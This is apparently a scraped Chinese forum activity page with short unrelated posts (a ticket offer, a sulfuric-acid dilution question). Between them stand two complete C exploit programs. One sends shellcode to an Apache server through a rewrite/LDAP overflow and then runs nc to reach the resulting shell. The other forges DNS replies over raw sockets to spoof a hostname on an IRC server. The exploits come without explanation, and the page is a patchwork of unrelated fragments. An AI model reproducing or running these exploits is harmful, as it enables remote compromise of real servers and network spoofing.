沙夏君
文章 發表由 沙夏君
-
-
我絕對不會說新聞上的人我全都認識.
-
求揪團！手上有還有訂１張學生票，看誰要！
-
-
-
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <errno.h>
#include <string.h>
#include <netdb.h>
#include <sys/types.h>
#include <netinet/in.h>
#include <sys/socket.h>
#define PORT 80
#define PORT2 5555
#define MAXDATASIZE 1024
char get[] = "/ldap://localhost/%3fA%3fA%3fCCCCCCCCCC%3fC%3f%90";
char shellcode[]=
"\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x49\x49\x49\x49\x49\x49"
"\x48\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x51\x5a\x6a\x41"
"\x58\x50\x30\x42\x30\x41\x6b\x41\x41\x51\x41\x32\x41\x41\x32\x42"
"\x42\x42\x30\x42\x41\x58\x38\x41\x42\x50\x75\x7a\x49\x4b\x58\x56"
"\x36\x73\x30\x43\x30\x75\x50\x70\x53\x66\x35\x70\x56\x31\x47\x4c"
"\x4b\x50\x6c\x44\x64\x55\x48\x6c\x4b\x73\x75\x75\x6c\x4c\x4b\x61"
"\x44\x73\x35\x63\x48\x35\x51\x4b\x5a\x6c\x4b\x50\x4a\x37\x68\x6c"
"\x4b\x42\x7a\x77\x50\x37\x71\x4a\x4b\x6b\x53\x44\x72\x30\x49\x6e"
"\x6b\x44\x74\x6e\x6b\x56\x61\x68\x6e\x54\x71\x39\x6f\x6b\x4c\x70"
"\x31\x4b\x70\x6c\x6c\x67\x48\x6b\x50\x54\x34\x53\x37\x6b\x71\x68"
"\x4f\x44\x4d\x73\x31\x78\x47\x38\x6b\x38\x72\x45\x6b\x73\x4c\x31"
"\x34\x46\x74\x52\x55\x6b\x51\x6c\x4b\x63\x6a\x65\x74\x56\x61\x7a"
"\x4b\x32\x46\x4c\x4b\x76\x6c\x70\x4b\x4e\x6b\x30\x5a\x75\x4c\x67"
"\x71\x5a\x4b\x6e\x6b\x74\x44\x4e\x6b\x57\x71\x6b\x58\x68\x6b\x76"
"\x62\x50\x31\x4b\x70\x33\x6f\x53\x6e\x31\x4d\x63\x6b\x4b\x72\x65"
"\x58\x55\x50\x61\x4e\x31\x7a\x36\x50\x42\x79\x70\x64\x4e\x6b\x74"
"\x59\x6e\x6b\x43\x6b\x44\x4c\x4c\x4b\x51\x4b\x77\x6c\x4c\x4b\x35"
"\x4b\x6e\x6b\x31\x4b\x74\x48\x73\x63\x63\x58\x6c\x4e\x70\x4e\x44"
"\x4e\x78\x6c\x79\x6f\x4b\x66\x4d\x59\x6f\x37\x4b\x31\x78\x6c\x33"
"\x30\x77\x71\x73\x30\x47\x70\x36\x37\x53\x66\x51\x43\x4d\x59\x69"
"\x75\x39\x78\x56\x47\x57\x70\x37\x70\x37\x70\x6e\x70\x45\x51\x33"
"\x30\x37\x70\x4c\x76\x72\x39\x55\x48\x7a\x47\x6d\x74\x45\x49\x54"
"\x30\x4d\x39\x38\x65\x77\x39\x4b\x36\x50\x49\x6c\x64\x35\x4a\x52"
"\x50\x4f\x37\x6c\x64\x4c\x6d\x76\x4e\x4d\x39\x4b\x69\x45\x59\x49"
"\x65\x4e\x4d\x78\x4b\x4a\x4d\x6b\x4c\x77\x4b\x31\x47\x50\x53\x74"
"\x72\x61\x4f\x46\x53\x67\x42\x57\x70\x61\x4b\x6c\x4d\x42\x6b\x75"
"\x70\x70\x51\x6b\x4f\x7a\x77\x4b\x39\x4b\x6f\x4f\x79\x4f\x33\x4e"
"\x6d\x71\x65\x52\x34\x53\x5a\x53\x37\x30\x59\x50\x51\x66\x33\x4b"
"\x4f\x55\x64\x4c\x4f\x6b\x4f\x66\x35\x43\x34\x50\x59\x6e\x69\x47"
"\x74\x6c\x4e\x6a\x42\x58\x72\x54\x6b\x64\x67\x72\x74\x39\x6f\x76"
"\x57\x6b\x4f\x50\x55\x44\x70\x30\x31\x4b\x70\x50\x50\x30\x50\x50"
"\x50\x32\x70\x77\x30\x46\x30\x53\x70\x70\x50\x49\x6f\x63\x65\x66"
"\x4c\x4b\x39\x4f\x37\x30\x31\x6b\x6b\x33\x63\x71\x43\x42\x48\x54"
"\x42\x63\x30\x76\x71\x63\x6c\x4c\x49\x6d\x30\x52\x4a\x32\x30\x32"
"\x70\x36\x37\x59\x6f\x52\x75\x71\x34\x50\x53\x70\x57\x4b\x4f\x72"
"\x75\x44\x68\x61\x43\x62\x74\x33\x67\x59\x6f\x63\x65\x67\x50\x4c"
"\x49\x38\x47\x6d\x51\x5a\x4c\x53\x30\x36\x70\x53\x30\x33\x30\x4e"
"\x69\x4b\x53\x53\x5a\x43\x30\x72\x48\x53\x30\x34\x50\x33\x30\x33"
"\x30\x50\x53\x76\x37\x6b\x4f\x36\x35\x74\x58\x6e\x61\x4a\x4c\x67"
"\x70\x35\x54\x33\x30\x63\x30\x49\x6f\x78\x53\x41";
char finish[]= "HTTP/1.0\r\nHost: ";
char payload2[]=
"\x31\xc9\x83\xe9\xb0\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x18"
"\xd9\x03\x3a\x83\xeb\xfc\xe2\xf4\xe4\xb3\xe8\x77\xf0\x20\xfc\xc5"
"\xe7\xb9\x88\x56\x3c\xfd\x88\x7f\x24\x52\x7f\x3f\x60\xd8\xec\xb1"
"\x57\xc1\x88\x65\x38\xd8\xe8\x73\x93\xed\x88\x3b\xf6\xe8\xc3\xa3"
"\xb4\x5d\xc3\x4e\x1f\x18\xc9\x37\x19\x1b\xe8\xce\x23\x8d\x27\x12"
"\x6d\x3c\x88\x65\x3c\xd8\xe8\x5c\x93\xd5\x48\xb1\x47\xc5\x02\xd1"
"\x1b\xf5\x88\xb3\x74\xfd\x1f\x5b\xdb\xe8\xd8\x5e\x93\x9a\x33\xb1"
"\x58\xd5\x88\x4a\x04\x74\x88\x7a\x10\x87\x6b\xb4\x56\xd7\xef\x6a"
"\xe7\x0f\x65\x69\x7e\xb1\x30\x08\x70\xae\x70\x08\x47\x8d\xfc\xea"
"\x70\x12\xee\xc6\x23\x89\xfc\xec\x47\x50\xe6\x5c\x99\x34\x0b\x38"
"\x4d\xb3\x01\xc5\xc8\xb1\xda\x33\xed\x74\x54\xc5\xce\x8a\x50\x69"
"\x4b\x8a\x40\x69\x5b\x8a\xfc\xea\x7e\xb1\x12\x67\x7e\x8a\x8a\xdb"
"\x8d\xb1\xa7\x20\x68\x1e\x54\xc5\xce\xb3\x13\x6b\x4d\x26\xd3\x52"
"\xbc\x74\x2d\xd3\x4f\x26\xd5\x69\x4d\x26\xd3\x52\xfd\x90\x85\x73"
"\x4f\x26\xd5\x6a\x4c\x8d\x56\xc5\xc8\x4a\x6b\xdd\x61\x1f\x7a\x6d"
"\xe7\x0f\x56\xc5\xc8\xbf\x69\x5e\x7e\xb1\x60\x57\x91\x3c\x69\x6a"
"\x41\xf0\xcf\xb3\xff\xb3\x47\xb3\xfa\xe8\xc3\xc9\xb2\x27\x41\x17"
"\xe6\x9b\x2f\xa9\x95\xa3\x3b\x91\xb3\x72\x6b\x48\xe6\x6a\x15\xc5"
"\x6d\x9d\xfc\xec\x43\x8e\x51\x6b\x49\x88\x69\x3b\x49\x88\x56\x6b"
"\xe7\x09\x6b\x97\xc1\xdc\xcd\x69\xe7\x0f\x69\xc5\xe7\xee\xfc\xea"
"\x93\x8e\xff\xb9\xdc\xbd\xfc\xec\x4a\x26\xd3\x52\xe8\x53\x07\x65"
"\x4b\x26\xd5\xc5\xc8\xd9\x03\x3a";
int main(int argc, char *argv[])
{
int sockfd, numbytes;
char buf[MAXDATASIZE];
struct hostent *he;
struct sockaddr_in their_addr;
if (argc != 3) {
printf(" Usage: ./apache hostname rewritepath\n");
exit(1);
}
printf("\n[+]Preparing payload\n");
char payload[748];
sprintf(payload,"GET /%s%s%s%s%s\r\n\r\n\0",argv[2],get,shellcode,finish,argv[1]);
printf("[+]Connecting...\n");
if ((he=gethostbyname(argv[1])) == NULL) {
printf("[-]Cannot resolv hostname...\n");
exit(1);
}
if ((sockfd = socket(PF_INET, SOCK_STREAM, 0)) == -1) {
printf("[-]Socket error...\n");
exit(1);
}
their_addr.sin_family = AF_INET;
their_addr.sin_port = htons(PORT);
their_addr.sin_addr = *((struct in_addr *)he->h_addr);
memset(their_addr.sin_zero, '\0', sizeof their_addr.sin_zero);
if (connect(sockfd, (struct sockaddr *)&their_addr,
sizeof(struct sockaddr)) == -1) {
printf("[-]Unable to connect\n");
exit(1);
}
printf("[+]Connected\n[+]Sending...\n");
if (send(sockfd, payload, strlen(payload), 0) == -1){
printf("[-]Unable to send\n");
exit(1);
}
printf("[+]Sent\n");
close(sockfd);
printf("[+]Starting second stage...\n");
sleep(3);
printf("[+]Connecting...\n");
if ((he=gethostbyname(argv[1])) == NULL) {
printf("[-]Cannot resolv hostname...\n");
exit(1);
}
if ((sockfd = socket(PF_INET, SOCK_STREAM, 0)) == -1) {
printf("[-]Socket error...\n");
exit(1);
}
their_addr.sin_family = AF_INET;
their_addr.sin_port = htons(PORT2);
their_addr.sin_addr = *((struct in_addr *)he->h_addr);
memset(their_addr.sin_zero, '\0', sizeof their_addr.sin_zero);
if (connect(sockfd, (struct sockaddr *)&their_addr,
sizeof(struct sockaddr)) == -1) {
printf("[-]Unable to connect\n");
exit(1);
}
printf("[+]Connected\n[+]Sending...\n");
if (send(sockfd, payload2, strlen(payload2), 0) == -1){
printf("[-]Unable to send\n");
exit(1);
}
printf("[+]Sent\n[+]Connecting to shell\n");
close(sockfd);
sleep(3);
int exec;
char what[1024];
sprintf(what," nc -w 10 %s ",argv[1]);
exec=system(what);
if (exec!=0){
printf("[-]Failed\n");
} else {
printf("[+]Owned\n");
}
exit(1);
}
-
#include <stdio.h>
#include <unistd.h>
#include <stdarg.h>
#include <stdlib.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netdb.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <string.h>
#include <errno.h>
#include <time.h>
#ifndef u8
#define u8 unsigned char
#endif
#ifndef u16
#define u16 unsigned short
#endif
#ifndef u32
#define u32 unsigned long
#endif
struct dns_header {
u16 id;
u16 flags;
u16 questions;
u16 answer_rr;
u16 auth_rr;
u16 extra_rr;
} __attribute__((packed));
struct dns_data {
u16 name;
u16 type;
u16 class;
u16 ttlh;
u16 ttl;
u16 data_len;
char *data;
} __attribute__((packed));
struct dns_packet {
size_t len;
u8 type;
char *data;
};
struct dns_query {
size_t len;
char *data;
};
struct ip_header {
u8 ihl:4,
version:4;
u8 tos;
u16 tot_len;
u16 id;
u16 frag_off;
u8 ttl;
u8 protocol;
u16 check;
u32 saddr;
u32 daddr;
};
struct udp_header {
u16 source;
u16 dest;
u16 len;
u16 check;
};
#define DNS_A 0x0001
#define DNS_PTR 0x000c
struct udp_packet {
struct ip_header iph;
struct udp_header udph;
};
void usage() {
fprintf(stderr, "usage: ./exploit <ircd ip> <ircd dns port> <ircd dns ip> "
"<your ip> <spoof host> <dns id>\n");
exit(-1);
}
void fatal(char *reason) {
fprintf(stderr, "fatal: %s\n", reason);
exit(-1);
}
unsigned short csum(unsigned short *addr, int len) {
register int sum = 0;
u_short answer = 0;
register u_short *w = addr;
register int nleft = len;
while (nleft > 1) {
sum += *w++;
nleft -= 2;
}
if (nleft == 1) {
*(u_char *)(&answer) = *(u_char *)w ;
sum += answer;
}
sum = (sum >> 16) + (sum & 0xffff);
sum += (sum >> 16);
answer = ~sum;
return(answer);
}
struct udp_packet *alloc_packet(size_t datalen) {
struct udp_packet *packet;
struct ip_header *iph;
struct udp_header *udph;
if(!(packet = calloc(1, sizeof(struct udp_packet) + datalen)))
fatal("error: allocating udp packet");
iph = &packet->iph;
udph = &packet->udph;
iph->ihl = 5;
iph->version = 4;
iph->tos = 0;
iph->tot_len = sizeof(struct udp_packet) + datalen;
iph->id = htonl(0xbeef);
iph->frag_off = 0;
iph->ttl = 255;
iph->protocol = 17;
udph->len = htons(sizeof(struct udp_header) + datalen);
return(packet);
}
void init_packet(long source, int sport, long dest, int port,
struct udp_packet *udp_packet,
struct dns_packet *dns_packet) {
struct ip_header *iph;
struct udp_header *udph;
char *data;
iph = &udp_packet->iph;
udph = &udp_packet->udph;
iph->saddr = source;
iph->daddr = dest;
iph->check = csum((unsigned short *)iph, sizeof(struct ip_header));
udph->check = 0;
udph->source = htons(sport);
udph->dest = htons(port);
data = (char *)udp_packet + sizeof(struct udp_packet);
memcpy(data, &dns_packet->data, dns_packet->len);
}
char *dns_string_format(char *out, char *in) {
int i, x;
for(i = strlen(in) - 1, x = 0; i > -1; i--, x++) {
if(in == '.') {
out = x;
x = -1;
} else
out = in;
}
out = x;
return(out);
}
struct dns_packet *alloc_dns_packet(char *query_data, size_t qlen,
char *answer_data, int type) {
struct dns_packet *dns_packet;
struct dns_header *dns_header;
struct dns_data *dns_data;
char *query,
*answer;
size_t totlen,
alen;
if(type == DNS_A)
alen = 4;
else
alen = strlen(answer_data);
totlen = sizeof(struct dns_header) +
qlen +
sizeof(struct dns_data) - sizeof(char *) + alen +
((type == DNS_A) ? 0 : 2);
if((dns_packet = calloc(1, totlen + sizeof(size_t) + 1 +
sizeof(char *))) == NULL)
fatal("failed alloc");
dns_packet->len = totlen;
dns_header = (struct dns_header *) &dns_packet->data;
query = (char *) &dns_packet->data +
sizeof(struct dns_header);
dns_data = (struct dns_data *) (query + qlen);
answer = (char *) &dns_data->data +
((type == DNS_A) ? 0 : 1);
dns_header->flags = htons(0x8180);
dns_header->questions = htons(1);
dns_header->answer_rr = htons(1);
dns_header->auth_rr = htons(0);
dns_header->extra_rr = htons(0);
memcpy(query, query_data, qlen);
dns_data->name = htons(0xc00c);
dns_data->type = htons(type);
dns_data->class = htons(1);
dns_data->ttl = htons(300);
dns_data->data_len = htons(alen + ((type == DNS_A) ? 0 : 1));
if(type == DNS_A)
memcpy(answer, &answer_data, 4);
else
dns_string_format(answer, answer_data);
return(dns_packet);
}
struct dns_query *alloc_dns_query(char *query, int qtype) {
struct dns_query *dns_query;
size_t qlen;
int i, x = 0;
char *p;
char *data;
u16 *type,
*class;
qlen = 1 + strlen(query) + 1 + 2 + 2;
if((dns_query = (struct dns_query *)calloc(1, sizeof(size_t) + qlen)) == NULL)
fatal("fatal alloc\n");
dns_query->len = qlen;
data = (char *) &dns_query->data + 1;
type = (u16 *) (data + strlen(query) + 1);
class = (u16 *) type + 1;
dns_string_format(data, query);
*type = htons(qtype);
*class = htons(1);
return(dns_query);
};
int send_packet(struct in_addr src, u16 sport,
struct in_addr dst, u16 dport,
struct udp_packet *udp_packet,
struct dns_packet *dns_packet, u32 dns_id) {
struct sockaddr_in sin;
struct dns_header *dns_header;
int s, olen;
unsigned char *p;
int i;
dns_header = (struct dns_header *) &dns_packet->data;
dns_header->id = htons(dns_id);
init_packet(src.s_addr, sport, dst.s_addr, dport, udp_packet, dns_packet);
sin.sin_family = AF_INET;
sin.sin_addr = dst;
sin.sin_port = htons(sport);
if((s = socket(AF_INET, SOCK_RAW, IPPROTO_UDP)) < 0) {
fprintf(stderr, "%s: ERROR send_packet() -> socket()\n", inet_ntoa(dst));
return(s);
}
if(setsockopt(s, IPPROTO_IP, IP_HDRINCL, &olen, sizeof(olen)) < 0)
fprintf(stderr, "ERROR: could not set socket option IP_HDRINCL.\n");
while(sendto(s, udp_packet, sizeof(struct udp_packet) + dns_packet->len, 0,
(struct sockaddr *)&sin, sizeof(sin)) < 0) {
if(errno == ENOBUFS)
usleep(50);
else {
fprintf(stderr, "%s: send_packet() -> sendto() [%d]\n", inet_ntoa(dst), errno);
close(s);
return(-1);
}
}
close(s);
}
void do_spoof(struct in_addr src, u16 sport,
struct in_addr dst, u16 dport,
struct in_addr me, char *answer, u16 dns_id) {
struct udp_packet *udp_packet_A,
*udp_packet_PTR;
struct dns_packet *dns_packet_A,
*dns_packet_PTR;
struct dns_query *dns_query_A,
*dns_query_PTR;
char query[255];
int i;
printf("dns_id = %d\n", dns_id);
snprintf(query, sizeof(query) - 1,
"%d.%d.%d.%d.in-addr.arpa",
(me.s_addr >> 24),
(me.s_addr >> 16) & 0xff,
(me.s_addr >> 8) & 0xff,
(me.s_addr ) & 0xff);
dns_query_A = alloc_dns_query(answer, DNS_A);
dns_packet_A = alloc_dns_packet((char *)&dns_query_A->data,
dns_query_A->len,
(char *)me.s_addr, DNS_A);
udp_packet_A = alloc_packet(dns_packet_A->len);
dns_query_PTR = alloc_dns_query(query, DNS_PTR);
dns_packet_PTR = alloc_dns_packet((char *)&dns_query_PTR->data,
dns_query_PTR->len, answer, DNS_PTR);
udp_packet_PTR = alloc_packet(dns_packet_PTR->len);
for(i = 0; ; i++) {
send_packet(src, sport, dst, dport, udp_packet_A, dns_packet_A, dns_id + i);
send_packet(src, sport, dst, dport, udp_packet_PTR, dns_packet_PTR, dns_id + i);
usleep(50);
if(i > 3)
i = 0;
}
}
long resolve(char *host) {
struct in_addr ip;
struct hostent *he;
if((ip.s_addr = inet_addr(host)) == -1) {
if(!(he = gethostbyname(host)))
return(-1);
else
memcpy(&ip.s_addr, he->h_addr, 4);
}
return(ip.s_addr);
}
int main(int argc, char *argv[]) {
int i, dns_port, dns_id;
struct in_addr ircd,
ircd_ns,
me;
char *spoof_host;
if(argc < 6)
usage();
if((ircd.s_addr = resolve(argv[1])) == -1)
fatal("ircd host invalid");
dns_port = atoi(argv[2]);
if((ircd_ns.s_addr = resolve(argv[3])) == -1)
fatal("ircd dns host invalid");
if((me.s_addr = resolve(argv[4])) == -1)
fatal("my host invalid");
spoof_host = argv[5];
dns_id = atoi(argv[6]);
do_spoof(ircd_ns, 53, ircd, dns_port, me, spoof_host, dns_id);
}
求問，我沒看過這單位．．．
在 化學版
發表於
36N濃硫酸要配成體積1000mL 濃度為 5N硫酸，請問36N濃硫酸要取多少mL?